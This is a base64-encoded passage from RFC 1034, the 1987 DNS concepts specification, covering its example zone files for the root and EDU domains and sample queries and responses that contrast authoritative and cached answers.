JlIGNvbnRpZ3VvdXMgb3IgZGlzam9pbnQuICBJbiB0aGlzIHNjZW5hcmlvLApDLklTSS5FRFUgaGFzIGNvbnRpZ3VvdXMgem9uZXMgYXQgdGhlIHJvb3QgYW5kIEVEVSBkb21haW5zLiAgQS5JU0kuRURVCmhhcyBjb250aWd1b3VzIHpvbmVzIGF0IHRoZSByb290IGFuZCBNSUwgZG9tYWlucywgYnV0IGFsc28gaGFzIGEgbm9uLQpjb250aWd1b3VzIHpvbmUgYXQgSVNJLkVEVS4KCjYuMS4gQy5JU0kuRURVIG5hbWUgc2VydmVyCgpDLklTSS5FRFUgaXMgYSBuYW1lIHNlcnZlciBmb3IgdGhlIHJvb3QsIE1JTCwgYW5kIEVEVSBkb21haW5zIG9mIHRoZSBJTgpjbGFzcywgYW5kIHdvdWxkIGhhdmUgem9uZXMgZm9yIHRoZXNlIGRvbWFpbnMuICBUaGUgem9uZSBkYXRhIGZvciB0aGUKcm9vdCBkb21haW4gbWlnaHQgYmU6CgogICAgLiAgICAgICBJTiAgICAgIFNPQSAgICAgU1JJLU5JQy5BUlBBLiBIT1NUTUFTVEVSLlNSSS1OSUMuQVJQQS4gKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgODcwNjExICAgICAgICAgIDtzZXJpYWwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE4MDAgICAgICAgICAgICA7cmVmcmVzaCBldmVyeSAzMCBtaW4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDMwMCAgICAgICAgICAgICA7cmV0cnkgZXZlcnkgNSBtaW4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDYwNDgwMCAgICAgICAgICA7ZXhwaXJlIGFmdGVyIGEgd2VlawogICAgICAgICAgICAgICAgICAgICAgICAgICAgODY0MDApICAgICAgICAgIDttaW5pbXVtIG9mIGEgZGF5CiAgICAgICAgICAgICAgICAgICAgTlMgICAgICBBLklTSS5FRFUuCiAgICAgICAgICAgICAgICAgICAgTlMgICAgICBDLklTSS5FRFUuCiAgICAgICAgICAgICAgICAgICAgTlMgICAgICBTUkktTklDLkFSUEEuCgogICAgTUlMLiAgICA4NjQwMCAgIE5TICAgICAgU1JJLU5JQy5BUlBBLgogICAgICAgICAgICA4NjQwMCAgIE5TICAgICAgQS5JU0kuRURVLgoKICAgIEVEVS4gICAgODY0MDAgICBOUyAgICAgIFNSSS1OSUMuQVJQQS4KICAgICAgICAgICAgODY0MDAgICBOUyAgICAgIEMuSVNJLkVEVS4KCiAgICBTUkktTklDLkFSUEEuICAgQSAgICAgICAyNi4wLjAuNzMKICAgICAgICAgICAgICAgICAgICBBICAgICAgIDEwLjAuMC41MQogICAgICAgICAgICAgICAgICAgIE1YICAgICAgMCBTUkktTklDLkFSUEEuCiAgICAgICAgICAgICAgICAgICAgSElORk8gICBERUMtMjA2MCBUT1BTMjAKCiAgICBBQ0MuQVJQQS4gICAgICAgQSAgICAgICAyNi42LjAuNjUKICAgICAgICAgICAgICAgICAgICBISU5GTyAgIFBEUC0xMS83MCBVTklYCiAgICAgICAgICAgICAgICAgICAgTVggICAgICAxMCBBQ0MuQVJQQS4KCiAgICBVU0MtSVNJQy5BUlBBLiAgQ05BTUUgICBDLklTSS5FRFUuCgogICAgNzMuMC4wLjI2LklOLUFERFIuQVJQQS4gIFBUUiAgICBTUkktTklDLkFSUEEuCiAgICA2NS4wLjYuMjYuSU4tQUREUi5BUlBBLiAgUFRSICAgIEFDQy5BUlBBLgogICAgNTEuMC4wLjEwLklOLUFERFIuQVJQQS4gIFBUUiAgICBTUkktTklDLkFSUEEuCiAgICA1Mi4wLjAuMTAuSU4tQUREUi5BUlBBLiAgUFRSICAgIEMuSVNJLkVEVS4KCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMzddCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKICAgIDEwMy4wLjMuMjYuSU4tQUREUi5BUlBBLiBQVFIgICAgQS5JU0kuRURVLgoKICAgIEEuSVNJLkVEVS4gODY0MDAgQSAgICAgIDI2LjMuMC4xMDMKICAgIEMuSVNJLkVEVS4gODY0MDAgQSAgICAgIDEwLjAuMC41MgoKVGhpcyBkYXRhIGlzIHJlcHJlc2VudGVkIGFzIGl0IHdvdWxkIGJlIGluIGEgbWFzdGVyIGZpbGUuICBNb3N0IFJScyBhcmUKc2luZ2xlIGxpbmUgZW50cmllczsgdGhlIHNvbGUgZXhjZXB0aW9uIGhlcmUgaXMgdGhlIFNPQSBSUiwgd2hpY2ggdXNlcwoiKCIgdG8gc3RhcnQgYSBtdWx0aS1saW5lIFJSIGFuZCAiKSIgdG8gc2hvdyB0aGUgZW5kIG9mIGEgbXVsdGktbGluZSBSUi4KU2luY2UgdGhlIGNsYXNzIG9mIGFsbCBSUnMgaW4gYSB6b25lIG11c3QgYmUgdGhlIHNhbWUsIG9ubHkgdGhlIGZpcnN0IFJSCmluIGEgem9uZSBuZWVkIHNwZWNpZnkgdGhlIGNsYXNzLiAgV2hlbiBhIG5hbWUgc2VydmVyIGxvYWRzIGEgem9uZSwgaXQKZm9yY2VzIHRoZSBUVEwgb2YgYWxsIGF1dGhvcml0YXRpdmUgUlJzIHRvIGJlIGF0IGxlYXN0IHRoZSBNSU5JTVVNIGZpZWxkCm9mIHRoZSBTT0EsIGhlcmUgODY0MDAgc2Vjb25kcywgb3Igb25lIGRheS4gIFRoZSBOUyBSUnMgbWFya2luZwpkZWxlZ2F0aW9uIG9mIHRoZSBNSUwgYW5kIEVEVSBkb21haW5zLCB0b2dldGhlciB3aXRoIHRoZSBnbHVlIFJScyBmb3IKdGhlIHNlcnZlcnMgaG9zdCBhZGRyZXNzZXMsIGFyZSBub3QgcGFydCBvZiB0aGUgYXV0aG9yaXRhdGl2ZSBkYXRhIGluCnRoZSB6b25lLCBhbmQgaGVuY2UgaGF2ZSBleHBsaWNpdCBUVExzLgoKRm91ciBSUnMgYXJlIGF0dGFjaGVkIHRvIHRoZSByb290IG5vZGU6IHRoZSBTT0Egd2hpY2ggZGVzY3JpYmVzIHRoZSByb290CnpvbmUgYW5kIHRoZSAzIE5TIFJScyB3aGljaCBsaXN0IHRoZSBuYW1lIHNlcnZlcnMgZm9yIHRoZSByb290LiAgVGhlCmRhdGEgaW4gdGhlIFNPQSBSUiBkZXNjcmliZXMgdGhlIG1hbmFnZW1lbnQgb2YgdGhlIHpvbmUuICBUaGUgem9uZSBkYXRhCmlzIG1haW50YWluZWQgb24gaG9zdCBTUkktTklDLkFSUEEsIGFuZCB0aGUgcmVzcG9uc2libGUgcGFydHkgZm9yIHRoZQp6b25lIGlzIEhPU1RNQVNURVJAU1JJLU5JQy5BUlBBLiAgQSBrZXkgaXRlbSBpbiB0aGUgU09BIGlzIHRoZSA4NjQwMApzZWNvbmQgbWluaW11bSBUVEwsIHdoaWNoIG1lYW5zIHRoYXQgYWxsIGF1dGhvcml0YXRpdmUgZGF0YSBpbiB0aGUgem9uZQpoYXMgYXQgbGVhc3QgdGhhdCBUVEwsIGFsdGhvdWdoIGhpZ2hlciB2YWx1ZXMgbWF5IGJlIGV4cGxpY2l0bHkKc3BlY2lmaWVkLgoKVGhlIE5TIFJScyBmb3IgdGhlIE1JTCBhbmQgRURVIGRvbWFpbnMgbWFyayB0aGUgYm91bmRhcnkgYmV0d2VlbiB0aGUKcm9vdCB6b25lIGFuZCB0aGUgTUlMIGFuZCBFRFUgem9uZXMuICBOb3RlIHRoYXQgaW4gdGhpcyBleGFtcGxlLCB0aGUKbG93ZXIgem9uZXMgaGFwcGVuIHRvIGJlIHN1cHBvcnRlZCBieSBuYW1lIHNlcnZlcnMgd2hpY2ggYWxzbyBzdXBwb3J0CnRoZSByb290IHpvbmUuCgpUaGUgbWFzdGVyIGZpbGUgZm9yIHRoZSBFRFUgem9uZSBtaWdodCBiZSBzdGF0ZWQgcmVsYXRpdmUgdG8gdGhlIG9yaWdpbgpFRFUuICBUaGUgem9uZSBkYXRhIGZvciB0aGUgRURVIGRvbWFpbiBtaWdodCBiZToKCiAgICBFRFUuICBJTiBTT0EgU1JJLU5JQy5BUlBBLiBIT1NUTUFTVEVSLlNSSS1OSUMuQVJQQS4gKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgODcwNzI5IDtzZXJpYWwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE4MDAgO3JlZnJlc2ggZXZlcnkgMzAgbWludXRlcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgMzAwIDtyZXRyeSBldmVyeSA1IG1pbnV0ZXMKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDYwNDgwMCA7ZXhwaXJlIGFmdGVyIGEgd2VlawogICAgICAgICAgICAgICAgICAgICAgICAgICAgODY0MDAgO21pbmltdW0gb2YgYSBkYXkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICBOUyBTUkktTklDLkFSUEEuCiAgICAgICAgICAgICAgICAgICAgTlMgQy5JU0kuRURVLgoKICAgIFVDSSAxNzI4MDAgTlMgSUNTLlVDSQogICAgICAgICAgICAgICAgICAgIDE3MjgwMCBOUyBST01FLlVDSQogICAgSUNTLlVDSSAxNzI4MDAgQSAxOTIuNS4xOS4xCiAgICBST01FLlVDSSAxNzI4MDAgQSAxOTIuNS4xOS4zMQoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMzhdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKICAgIElTSSAxNzI4MDAgTlMgVkFYQS5JU0kKICAgICAgICAgICAgICAgICAgICAxNzI4MDAgTlMgQS5JU0kKICAgICAgICAgICAgICAgICAgICAxNzI4MDAgTlMgVkVORVJBLklTSS5FRFUuCiAgICBWQVhBLklTSSAxNzI4MDAgQSAxMC4yLjAuMjcKICAgICAgICAgICAgICAgICAgICAxNzI4MDAgQSAxMjguOS4wLjMzCiAgICBWRU5FUkEuSVNJLkVEVS4gMTcyODAwIEEgMTAuMS4wLjUyCiAgICAgICAgICAgICAgICAgICAgMTcyODAwIEEgMTI4LjkuMC4zMgogICAgQS5JU0kgMTcyODAwIEEgMjYuMy4wLjEwMwoKICAgIFVERUwuRURVLiAgMTcyODAwIE5TIExPVUlFLlVERUwuRURVLgogICAgICAgICAgICAgICAgICAgIDE3MjgwMCBOUyBVTU4tUkVJLVVDLkFSUEEuCiAgICBMT1VJRS5VREVMLkVEVS4gMTcyODAwIEEgMTAuMC4wLjk2CiAgICAgICAgICAgICAgICAgICAgMTcyODAwIEEgMTkyLjUuMzkuMwoKICAgIFlBTEUuRURVLiAgMTcyODAwIE5TIFlBTEUuQVJQQS4KICAgIFlBTEUuRURVLiAgMTcyODAwIE5TIFlBTEUtQlVMTERPRy5BUlBBLgoKICAgIE1JVC5FRFUuICA0MzIwMCBOUyBYWC5MQ1MuTUlULkVEVS4KICAgICAgICAgICAgICAgICAgICAgIDQzMjAwIE5TIEFDSElMTEVTLk1JVC5FRFUuCiAgICBYWC5MQ1MuTUlULkVEVS4gIDQzMjAwIEEgMTAuMC4wLjQ0CiAgICBBQ0hJTExFUy5NSVQuRURVLiA0MzIwMCBBIDE4LjcyLjAuOAoKTm90ZSB0aGUgdXNlIG9mIHJlbGF0aXZlIG5hbWVzIGhlcmUuICBUaGUgb3duZXIgbmFtZSBmb3IgdGhlIElTSS5FRFUuIGlzCnN0YXRlZCB1c2luZyBhIHJlbGF0aXZlIG5hbWUsIGFzIGFyZSB0d28gb2YgdGhlIG5hbWUgc2VydmVyIFJSIGNvbnRlbnRzLgpSZWxhdGl2ZSBhbmQgYWJzb2x1dGUgZG9tYWluIG5hbWVzIG1heSBiZSBmcmVlbHkgaW50ZXJtaXhlZCBpbiBhIG1hc3RlcgoKNi4yLiBFeGFtcGxlIHN0YW5kYXJkIHF1ZXJpZXMKClRoZSBmb2xsb3dpbmcgcXVlcmllcyBhbmQgcmVzcG9uc2VzIGlsbHVzdHJhdGUgbmFtZSBzZXJ2ZXIgYmVoYXZpb3IuClVubGVzcyBvdGhlcndpc2Ugbm90ZWQsIHRoZSBxdWVyaWVzIGRvIG5vdCBoYXZlIHJlY3Vyc2lvbiBkZXNpcmVkIChSRCkKaW4gdGhlIGhlYWRlci4gIE5vdGUgdGhhdCB0aGUgYW5zd2VycyB0byBub24tcmVjdXJzaXZlIHF1ZXJpZXMgZG8gZGVwZW5kCm9uIHRoZSBzZXJ2ZXIgYmVpbmcgYXNrZWQsIGJ1dCBkbyBub3QgZGVwZW5kIG9uIHRoZSBpZGVudGl0eSBvZiB0aGUKcmVxdWVzdGVyLgoKCgoKCgoKCgoKCgoKCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAzOV0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgo2LjIuMS4gUU5BTUU9U1JJLU5JQy5BUlBBLCBRVFlQRT1BCgpUaGUgcXVlcnkgd291bGQgbG9vayBsaWtlOgoKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEhlYWRlciAgICAgfCBPUENPREU9U1FVRVJZICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIFF1ZXN0aW9uICAgfCBRTkFNRT1TUkktTklDLkFSUEEuLCBRQ0xBU1M9SU4sIFFUWVBFPUEgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFuc3dlciAgICAgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEF1dGhvcml0eSAgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKICAgIEFkZGl0aW9uYWwgfCA8ZW1wdHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSsKClRoZSByZXNwb25zZSBmcm9tIEMuSVNJLkVEVSB3b3VsZCBiZToKCiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBIZWFkZXIgICAgIHwgT1BDT0RFPVNRVUVSWSwgUkVTUE9OU0UsIEFBICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBRdWVzdGlvbiAgIHwgUU5BTUU9U1JJLU5JQy5BUlBBLiwgUUNMQVNTPUlOLCBRVFlQRT1BICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBbnN3ZXIgICAgIHwgU1JJLU5JQy5BUlBBLiA4NjQwMCBJTiBBIDI2LjAuMC43MyAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICA4NjQwMCBJTiBBIDEwLjAuMC41MSAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBdXRob3JpdHkgIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBZGRpdGlvbmFsIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCgpUaGUgaGVhZGVyIG9mIHRoZSByZXNwb25zZSBsb29rcyBsaWtlIHRoZSBoZWFkZXIgb2YgdGhlIHF1ZXJ5LCBleGNlcHQKdGhhdCB0aGUgUkVTUE9OU0UgYml0IGlzIHNldCwgaW5kaWNhdGluZyB0aGF0IHRoaXMgbWVzc2FnZSBpcyBhCnJlc3BvbnNlLCBub3QgYSBxdWVyeSwgYW5kIHRoZSBBdXRob3JpdGF0aXZlIEFuc3dlciAoQUEpIGJpdCBpcyBzZXQKaW5kaWNhdGluZyB0aGF0IHRoZSBhZGRyZXNzIFJScyBpbiB0aGUgYW5zd2VyIHNlY3Rpb24gYXJlIGZyb20KYXV0aG9yaXRhdGl2ZSBkYXRhLiAgVGhlIHF1ZXN0aW9uIHNlY3Rpb24gb2YgdGhlIHJlc3BvbnNlIG1hdGNoZXMgdGhlCnF1ZXN0aW9uIHNlY3Rpb24gb2YgdGhlIHF1ZXJ5LgoKCgoKCgoKCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDQwXQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCklmIHRoZSBzYW1lIHF1ZXJ5IHdhcyBzZW50IHRvIHNvbWUgb3RoZXIgc2VydmVyIHdoaWNoIHdhcyBub3QKYXV0aG9yaXRhdGl2ZSBmb3IgU1JJLU5JQy5BUlBBLCB0aGUgcmVzcG9uc2UgbWlnaHQgYmU6CgogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgSGVhZGVyICAgICB8IE9QQ09ERT1TUVVFUlksUkVTUE9OU0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgUXVlc3Rpb24gICB8IFFOQU1FPVNSSS1OSUMuQVJQQS4sIFFDTEFTUz1JTiwgUVRZUEU9QSAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQW5zd2VyICAgICB8IFNSSS1OSUMuQVJQQS4gMTc3NyBJTiBBIDEwLjAuMC41MSAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICB8ICAgICAgICAgICAgICAgMTc3NyBJTiBBIDI2LjAuMC43MyAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQXV0aG9yaXR5ICB8IDxlbXB0eT4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwogICAgQWRkaXRpb25hbCB8IDxlbXB0eT4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgICAgICAgICAgICArLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKwoKVGhpcyByZXNwb25zZSBpcyBkaWZmZXJlbnQgZnJvbSB0aGUgcHJldmlvdXMgb25lIGluIHR3byB3YXlzOiB0aGUgaGVhZGVyCmRvZXMgbm90IGhhdmUgQUEgc2V0LCBhbmQgdGhlIFRUTHMgYXJlIGRpZmZlcmVudC4gIFRoZSBpbmZlcmVuY2UgaXMgdGhhdAp0aGUgZGF0YSBkaWQgbm90IGNvbWUgZnJvbSBhIHpvbmUsIGJ1dCBmcm9tIGEgY2FjaGUuICBUaGUgZGlmZmVyZW5jZQpiZXR3ZWVuIHRoZSBhdXRob3JpdGF0aXZlIFRUTCBhbmQgdGhlIFRUTCBoZXJlIGlzIGR1ZSB0byBhZ2luZyBvZiB0aGUKZGF0YSBpbiBhIGNhY2hlLiAgVGhlIGRpZmZlcmVuY2UgaW4gb3JkZXJpbmcgb2YgdGhlIFJScyBpbiB0aGUgYW5zd2VyCnNlY3Rpb24gaXMgbm90IHNpZ25pZmljYW50LgoKNi4yLjIuIFFOQU1FPVNSSS1OSUMuQVJQQSwgUVRZUEU9KgoKQSBxdWVyeSBzaW1pbGFyIHRvIHRoZSBwcmV2aW91cyBvbmUsIGJ1dCB1c2luZyBhIFFUWVBFIG9mICosIHdvdWxkCnJlY2VpdmUgdGhlIGZvbGxvd2luZyByZXNwb25zZSBmcm9tIEMuSVNJLkVEVToKCiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBIZWFkZXIgICAgIHwgT1BDT0RFPVNRVUVSWSwgUkVTUE9OU0UsIEFBICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBRdWVzdGlvbiAgIHwgUU5BTUU9U1JJLU5JQy5BUlBBLiwgUUNMQVNTPUlOLCBRVFlQRT0qICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBbnN3ZXIgICAgIHwgU1JJLU5JQy5BUlBBLiA4NjQwMCBJTiAgQSAgICAgMjYuMC4wLjczICAgICAgICAgICB8CiAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgQSAgICAgMTAuMC4wLjUxICAgICAgICAgICB8CiAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgTVggICAgMCBTUkktTklDLkFSUEEuICAgICB8CiAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgSElORk8gREVDLTIwNjAgVE9QUzIwICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBdXRob3JpdHkgIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBZGRpdGlvbmFsIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCgoKCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDQxXQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCklmIGEgc2ltaWxhciBxdWVyeSB3YXMgZGlyZWN0ZWQgdG8gdHdvIG5hbWUgc2VydmVycyB3aGljaCBhcmUgbm90CmF1dGhvcml0YXRpdmUgZm9yIFNSSS1OSUMuQVJQQSwgdGhlIHJlc3BvbnNlcyBtaWdodCBiZToKCiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBIZWFkZXIgICAgIHwgT1BDT0RFPVNRVUVSWSwgUkVTUE9OU0UgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBRdWVzdGlvbiAgIHwgUU5BTUU9U1JJLU5JQy5BUlBBLiwgUUNMQVNTPUlOLCBRVFlQRT0qICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBbnN3ZXIgICAgIHwgU1JJLU5JQy5BUlBBLiAxMjM0NSBJTiAgICAgQSAgICAgICAyNi4wLjAuNzMgICAgICB8CiAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgQSAgICAgICAxMC4wLjAuNTEgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBdXRob3JpdHkgIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBZGRpdGlvbmFsIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCgphbmQKCiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBIZWFkZXIgICAgIHwgT1BDT0RFPVNRVUVSWSwgUkVTUE9OU0UgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBRdWVzdGlvbiAgIHwgUU5BTUU9U1JJLU5JQy5BUlBBLiwgUUNMQVNTPUlOLCBRVFlQRT0qICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBbnN3ZXIgICAgIHwgU1JJLU5JQy5BUlBBLiAxMjkwIElOIEhJTkZPICBERUMtMjA2MCBUT1BTMjAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBdXRob3JpdHkgIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCiAgICBBZGRpdGlvbmFsIHwgPGVtcHR5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rCgpOZWl0aGVyIG9mIHRoZXNlIGFuc3dlcnMgaGF2ZSBBQSBzZXQsIHNvIG5laXRoZXIgcmVzcG9uc2UgY29tZXMgZnJvbQphdXRob3JpdGF0aXZlIGRhdGEuICBUaGUgZGlmZmVyZW50IGNvbnRlbnRzIGFuZCBkaWZmZXJlbnQgVFRMcyBzdWdnZXN0CnRoYXQgdGhlIHR3byBzZXJ2ZXJzIGNhY2hlZCBkYXRhIGF0IGRpZmZlcmVudCB0aW1lcywgYW5kIHRoYX